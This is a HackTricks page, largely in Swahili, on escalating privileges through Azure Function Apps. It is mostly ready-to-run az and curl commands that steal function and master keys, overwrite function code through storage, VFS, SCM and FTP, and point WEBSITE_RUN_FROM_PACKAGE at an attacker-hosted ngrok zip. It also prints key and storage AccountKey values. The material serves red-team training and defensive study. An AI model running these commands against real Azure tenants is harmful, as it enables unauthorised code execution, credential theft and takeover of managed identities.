Az - Functions App Privesc

Tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Function Apps

Angalia ukurasa ufuatao kwa taarifa zaidi:

Az - Function Apps

Bucket Read/Write

Kwa ruhusa za kusoma containers ndani ya Storage Account inayohifadhi data za function, inawezekana kupata different containers (custom au zenye majina yaliyopangwa) ambazo zinaweza kuwa na the code executed by the function.

Mara unapopata wapi the code of the function iko, ikiwa una ruhusa za kuandika juu yake unaweza kufanya the function itekeleze any code na escalate privileges kwa managed identities attached to the function.

  • File Share (WEBSITE_CONTENTAZUREFILECONNECTIONSTRING and WEBSITE_CONTENTSHARE)

The code of the function is usually stored inside a file share. With enough access it’s possible to modify the code file and make the function load arbitrary code allowing to escalate privileges to the managed identities attached to the Function.

az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-group>

Mafaili ya konfigurasheni yatakuwa na Storage Account Key ambayo Function inaweza kutumia kufikia msimbo.

Caution

Kwa ruhusa za kutosha kuungana na File Share na modify the script inayotekelezwa, inawezekana kutekeleza msimbo wowote ndani ya Function na kuongeza ruhusa.

Mfano ufuatao unatumia macOS kuungana na file share, lakini inapendekezwa pia kukagua ukurasa ufuatao kwa habari zaidi kuhusu file shares:

Az - File Shares

# Username is the name of the storage account
# Password is the Storage Account Key

# Open the connection to the file share
# Change the code of the script like /site/wwwroot/function_app.py

open "smb://<STORAGE-ACCOUNT>.file.core.windows.net/<FILE-SHARE-NAME>"
  • function-releases (WEBSITE_RUN_FROM_PACKAGE)

Ni kawaida pia kupata zip releases ndani ya folda function-releases ya container ya Storage Account ambayo function app inaitumia, ndani ya container kwa kawaida inayoitwa function-releases.

Kawaida, njia hii ya deployment itaweka config WEBSITE_RUN_FROM_PACKAGE katika:

az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-group>

This config will usually contain a SAS URL to download the code from the Storage Account.

Caution

Ikiwa kuna ruhusa za kutosha za kuunganishwa kwenye blob container ambayo contains the code in zip, inawezekana kutekeleza arbitrary code kwenye Function na escalate privileges.

  • github-actions-deploy (WEBSITE_RUN_FROM_PACKAGE)

Kama katika kesi iliyopita, ikiwa deployment imetokea kupitia Github Actions inawezekana kupata folda github-actions-deploy kwenye Storage Account inayojumuisha zip ya code na SAS URL kwa zip hiyo katika setting WEBSITE_RUN_FROM_PACKAGE.

  • scm-releases(WEBSITE_CONTENTAZUREFILECONNECTIONSTRING and WEBSITE_CONTENTSHARE)

Kwa ruhusa za kusoma containers ndani ya Storage Account inayohifadhi function data inawezekana kupata container scm-releases. Ndani yake inawezekana kupata release ya mwisho katika Squashfs filesystem file format na kwa hivyo inawezekana kusoma code ya function:

# List containers inside the storage account of the function app
az storage container list \
--account-name <acc-name> \
--output table

# List files inside one container
az storage blob list \
--account-name <acc-name> \
--container-name <container-name> \
--output table

# Download file
az storage blob download \
--account-name <res-group> \
--container-name scm-releases \
--name scm-latest-<app-name>.zip \
--file /tmp/scm-latest-<app-name>.zip

## Even if it looks like the file is a .zip, it's a Squashfs filesystem

# Install
brew install squashfs

# List contents of the filesystem
unsquashfs -l "/tmp/scm-latest-<app-name>.zip"

# Get all the contents
mkdir /tmp/fs
unsquashfs -d /tmp/fs /tmp/scm-latest-<app-name>.zip

Pia inawezekana kupata master and functions keys zilizohifadhiwa kwenye storage account, kwenye container azure-webjobs-secrets ndani ya folda <app-name>, katika faili za JSON zilizomo ndani.

Caution

Kwa ruhusa za kutosha za kuunganishwa na blob container ambayo ina code katika zip extension file (ambayo kwa kweli ni squashfs), inawezekana kutekeleza code yoyote katika Function na kupandisha ruhusa.

# Modify code inside the script in /tmp/fs adding your code

# Generate new filesystem file
mksquashfs /tmp/fs /tmp/scm-latest-<app-name>.zip  -b 131072 -noappend

# Upload it to the blob storage
az storage blob upload \
--account-name <storage-account> \
--container-name scm-releases \
--name scm-latest-<app-name>.zip \
--file /tmp/scm-latest-<app-name>.zip \
--overwrite

Microsoft.Web/sites/host/listkeys/action

Ruhusa hii inaruhusu kuorodhesha function, master na system keys, lakini sio host key ya function iliyobainishwa kwa:

az functionapp keys list --resource-group <res_group> --name <func-name>

Kwa master key pia inawezekana kupata source code kupitia URL kama:

# Get "script_href" from
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions?api-version=2024-04-01"

# Access
curl "<script-href>?code=<master-key>"
# Python function app example
curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" -v
# JavaScript function app example
curl "https://consumptionexample.azurewebsites.net/admin/vfs/site/wwwroot/HttpExample/index.js?code=tKln7u4DtLgmG55XEvMjN0Lv9a3rKZK4dLbOHmWgD2v1AzFu3w9y_A==" -v

Na kubadilisha code inayotekelezwa katika function kwa:

# Set the code to set in the function in /tmp/function_app.py
## Python function app example
curl -X PUT "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" \
--data-binary @/tmp/function_app.py \
-H "Content-Type: application/json" \
-H "If-Match: *" \
-v

# NodeJS function app example
curl -X PUT "https://consumptionexample.azurewebsites.net/admin/vfs/site/wwwroot/HttpExample/index.js?code=tKln7u4DtLgmG55XEvMjN0Lv9a3rKZK4dLbOHmWgD2v1AzFu3w9y_A==" \
--data-binary @/tmp/index.js \
-H "Content-Type: application/json" \
-H "If-Match: *" \
-v

Microsoft.Web/sites/functions/listKeys/action

Ruhusa hii inaruhusu kupata ufunguo chaguo-msingi wa function iliyotajwa kwa:

az rest --method POST --uri "https://management.azure.com/subscriptions/<subsription-id>/resourceGroups/<resource-group>/providers/Microsoft.Web/sites/<func-name>/functions/<func-endpoint-name>/listKeys?api-version=2022-03-01"

Iite function ukitumia default key uliopata:

curl "https://<app-name>.azurewebsites.net/api/<func-endpoint-name>?code=<default-key>"

Microsoft.Web/sites/host/functionKeys/write

Ruhusa hii inaruhusu kuunda/kusasisha function key ya function iliyotajwa kwa:

az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type functionKeys --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==

Microsoft.Web/sites/host/masterKey/write

Ruhusa hii inaruhusu kuunda/kusasisha master key kwa function iliyotajwa kwa:

az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==

Caution

Kumbuka kwamba kwa key hii pia unaweza kupata source code na kuibadilisha kama ilivyoelezwa hapo awali!

Microsoft.Web/sites/host/systemKeys/write

Ruhusa hii inaruhusu kuunda/kusasisha system function key kwa function maalum kwa:

az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==

Tumia ufunguo:

# Ejemplo: Acceso a endpoints de Durable Functions
curl "https://<app-name>.azurewebsites.net/runtime/webhooks/durabletask/instances?code=<system-key>"

# Ejemplo: Acceso a Event Grid webhooks
curl "https://<app-name>.azurewebsites.net/runtime/webhooks/eventgrid?code=<system-key>"

Microsoft.Web/sites/config/list/action

Ruhusa hii inaruhusu kupata mipangilio ya function. Ndani ya mipangilio hii inaweza kuwa inawezekana kupata thamani za chaguo-msingi AzureWebJobsStorage au WEBSITE_CONTENTAZUREFILECONNECTIONSTRING, ambazo zina funguo la akaunti ili kufikia blob storage ya function kwa ruhusa KAMILI.

az functionapp config appsettings list --name <func-name> --resource-group <res-group>

Zaidi ya hayo, ruhusa hii pia inaruhusu kupata SCM username and password (ikiwa imewezeshwa) kwa:

az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/publishingcredentials/list?api-version=2018-11-01"

Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/write

Ruhusa hizi zinawezesha kuorodhesha thamani za config za function kama tulivyoshuhudia hapo awali pamoja na kubadilisha thamani hizi. Hii ni muhimu kwa sababu mipangilio hii inaonyesha mahali ambapo code itakayotekelezwa ndani ya function imehifadhiwa.

Kwa hivyo inawezekana kuweka thamani ya setting WEBSITE_RUN_FROM_PACKAGE ikielekeza kwenye URL ya zip inayobeba code mpya ya kutekelezwa ndani ya web application:

  • Anza kwa kupata config ya sasa
az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-name>
  • Tengeneza code unayotaka function ifanye kazi, kisha ui-host hadharani
# Write inside /tmp/web/function_app.py the code of the function
cd /tmp/web/function_app.py
zip function_app.zip function_app.py
python3 -m http.server

# Serve it using ngrok for example
ngrok http 8000
  • Badilisha function, hifadhi vigezo vya awali na ongeza mwishoni config WEBSITE_RUN_FROM_PACKAGE ikielekeza kwenye URL yenye zip inayojumuisha code.

Ifuatayo ni mfano wa mipangilio yangu mwenyewe ambazo utahitaji kubadilisha thamani ili ziendane na zako, kumbuka mwishoni thamani "WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip", hapa ndiyo nilikuwa niki-host programu.

# Modify the function
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Web/sites/newfunctiontestlatestrelease/config/appsettings?api-version=2023-01-01" \
--headers '{"Content-Type": "application/json"}' \
--body '{"properties": {"APPLICATIONINSIGHTS_CONNECTION_STRING": "InstrumentationKey=67b64ab1-a49e-4e37-9c42-ff16e07290b0;IngestionEndpoint=https://canadacentral-1.in.applicationinsights.azure.com/;LiveEndpoint=https://canadacentral.livediagnostics.monitor.azure.com/;ApplicationId=cdd211a7-9981-47e8-b3c7-44cd55d53161", "AzureWebJobsStorage": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net", "FUNCTIONS_EXTENSION_VERSION": "~4", "FUNCTIONS_WORKER_RUNTIME": "python", "WEBSITE_CONTENTAZUREFILECONNECTIONSTRING": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net","WEBSITE_CONTENTSHARE": "newfunctiontestlatestrelease89c1", "WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"}}'

Microsoft.Web/sites/hostruntime/vfs/write

Kwa ruhusa hii inawezekana kubadilisha msimbo wa programu kupitia web console (au kupitia API endpoint ifuatayo):

# This is a python example, so we will be overwritting function_app.py
# Store in /tmp/body the raw python code to put in the function
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01" \
--headers '{"Content-Type": "application/json", "If-Match": "*"}' \
--body @/tmp/body

# Through the SCM URL (using Azure permissions or SCM creds)
az rest --method PUT \
--url "https://consumptionexample.scm.azurewebsites.net/api/vfs/site/wwwroot/HttpExample/index.js" \
--resource "https://management.azure.com/" \
--headers "If-Match=*" \
--body 'module.exports = async function (context, req) {
context.log("JavaScript HTTP trigger function processed a request. Training Demo 2");

const name = (req.query.name || (req.body && req.body.name));
const responseMessage = name
? "Hello, " + name + ". This HTTP triggered function executed successfully. Training Demo 2"
: "This HTTP triggered function executed successfully. Pass a name in the query string or in the request body for a personalized response. Training Demo 2";

context.res = {
// status: 200, /* Defaults to 200 */
body: responseMessage
};
}'

Microsoft.Web/sites/publishxml/action, (Microsoft.Web/sites/basicPublishingCredentialsPolicies/write)

Ruhusa hii inaruhusu kuorodhesha profaili zote za kuchapisha ambazo kimsingi zinajumuisha basic auth credentials:

# Get creds
az functionapp deployment list-publishing-profiles \
--name <app-name> \
--resource-group <res-name> \
--output json

Chaguo jingine ni kuweka creds zako mwenyewe na kuzitumia:

az functionapp deployment user set \
--user-name DeployUser123456 g \
--password 'P@ssw0rd123!'
  • Ikiwa REDACTED credentials

Ikiwa unaona kwamba credentials hizo ni REDACTED, ni kwa sababu unahitaji kuwezesha chaguo la SCM la uthibitishaji wa msingi na kwa hilo unahitaji ruhusa ya pili (Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):

# Enable basic authentication for SCM
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/scm?api-version=2022-03-01" \
--body '{
"properties": {
"allow": true
}
}'

# Enable basic authentication for FTP
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/ftp?api-version=2022-03-01" \
--body '{
"properties": {
"allow": true
}
}
  • Mbinu SCM

Kisha, unaweza kufikia kwa kutumia hizi basic auth credentials to the SCM URL za function app yako na kupata thamani za env variables:

# Get settings values
curl -u '<username>:<password>' \
https://<app-name>.scm.azurewebsites.net/api/settings -v

# Deploy code to the funciton
zip function_app.zip function_app.py # Your code in function_app.py
curl -u '<username>:<password>' -X POST --data-binary "@<zip_file_path>" \
https://<app-name>.scm.azurewebsites.net/api/zipdeploy

Nakumbuka kwamba SCM username kawaida ni karakteri “$” ikifuatiwa na jina la app, kwa hivyo: $<app-name>.

Unaweza pia kufikia ukurasa wa wavuti kutoka https://<app-name>.scm.azurewebsites.net/BasicAuth

Thamani za settings zinajumuisha AccountKey ya storage account inayohifadhi data za function app, ikiruhusu kudhibiti storage account hiyo.

  • Mbinu FTP

Ungana na seva ya FTP ukitumia:

# macOS install lftp
brew install lftp

# Connect using lftp
lftp -u '<username>','<password>' \
ftps://waws-prod-yq1-005dr.ftp.azurewebsites.windows.net/site/wwwroot/

# Some commands
ls # List
get ./function_app.py -o /tmp/ # Download function_app.py in /tmp
put /tmp/function_app.py -o /site/wwwroot/function_app.py # Upload file and deploy it

Kumbuka kwamba FTP username kawaida huwa katika muundo <app-name>\$<app-name>.

Microsoft.Web/sites/hostruntime/vfs/read

Ruhusa hii inaruhusu kusoma msimbo wa chanzo wa app kupitia VFS:

az rest --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01"

Microsoft.Web/sites/functions/token/action

Kwa ruhusa hii inawezekana get the admin token ambayo baadaye inaweza kutumika kupata master key na kwa hivyo kufikia na kubadilisha function’s code.

Hata hivyo, katika ukaguzi wangu wa mwisho hakuna token iliyorudishwa, hivyo inaweza kuwa imezimwa au haifanyi kazi tena, lakini hapa ni jinsi ungevifanya:

# Get admin token
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/admin/token?api-version=2024-04-01"

# Get master key
curl "https://<app-name>.azurewebsites.net/admin/host/systemkeys/_master" \
-H "Authorization: Bearer <token>"

Microsoft.Web/sites/config/write, (Microsoft.Web/sites/functions/properties/read)

Ruhusa hizi zinaruhusu kuwezesha functions ambazo zinaweza kuwa zimezimwa (au kuzizima).

# Enable a disabled function
az functionapp config appsettings set \
--name <app-name> \
--resource-group <res-group> \
--settings "AzureWebJobs.http_trigger1.Disabled=false"

Inawezekana pia kuona ikiwa function imewezeshwa au imezimwa kwenye URL ifuatayo (ukitumia ruhusa ndani ya mabano):

az rest --url "https://management.azure.com/subscriptions/<subscripntion-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/<func-name>/properties/state?api-version=2024-04-01"

Microsoft.Web/sites/config/write, Microsoft.Web/sites/config/list/action, (Microsoft.Web/sites/read, Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/read)

Kwa ruhusa hizi inawezekana kubadilisha container inayotumika na function app iliyosanifiwa kuendesha container. Hii itamruhusu attacker kupakia azure function container app yenye madhara kwenye docker hub (kwa mfano) na kufanya function iiitekeleze.

az functionapp config container set --name <app-name> \
--resource-group <res-group> \
--image "mcr.microsoft.com/azure-functions/dotnet8-quickstart-demo:1.0"

Microsoft.Web/sites/write, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action, Microsoft.App/managedEnvironments/join/action, (Microsoft.Web/sites/read, Microsoft.Web/sites/operationresults/read)

Kwa ruhusa hizi inawezekana kuambatisha user managed identity mpya kwa function. Ikiwa function imevamiwa, hii itaruhusu kupandisha ruhusa kwa user managed identity yoyote.

az functionapp identity assign \
--name <app-name> \
--resource-group <res-group> \
--identities /subscriptions/<subs-id>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<mi-name>

Urekebishaji wa Mbali

Inawezekana pia kuunganishwa ili kudebug Function inayotumika kama explained in the docs. Hata hivyo, kwa chaguo-msingi Azure itazima chaguo hili ndani ya siku 2 ikiwa msanidi programu atakosa, ili kuepuka kuacha usanidi wenye udhaifu.

Inawezekana kuangalia ikiwa Function imewezeshwa debugging kwa:

az functionapp show --name <app-name> --resource-group <res-group>

Kuwa na ruhusa Microsoft.Web/sites/config/write pia inawezekana kuweka function katika debugging mode (amri ifuatayo pia inahitaji ruhusa Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/Read na Microsoft.Web/sites/Read).

az functionapp config set --remote-debugging-enabled=True --name <app-name> --resource-group <res-group>

Badilisha Github repo

Nilijaribu kubadilisha Github repo kutoka ambapo deploying inafanyika kwa kutekeleza amri zifuatazo lakini hata kama ilibadilika, the new code was not loaded (labda kwa sababu inatarajia Github Action kusasisha code).
Zaidi ya hayo, managed identity federated credential wasn’t updated kuruhusu repo mpya, hivyo inaonekana hii sio ya msaada.

# Remove current
az functionapp deployment source delete \
--name funcGithub \
--resource-group Resource_Group_1

# Load new public repo
az functionapp deployment source config \
--name funcGithub \
--resource-group Resource_Group_1 \
--repo-url "https://github.com/orgname/azure_func3" \
--branch main --github-action true

Tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks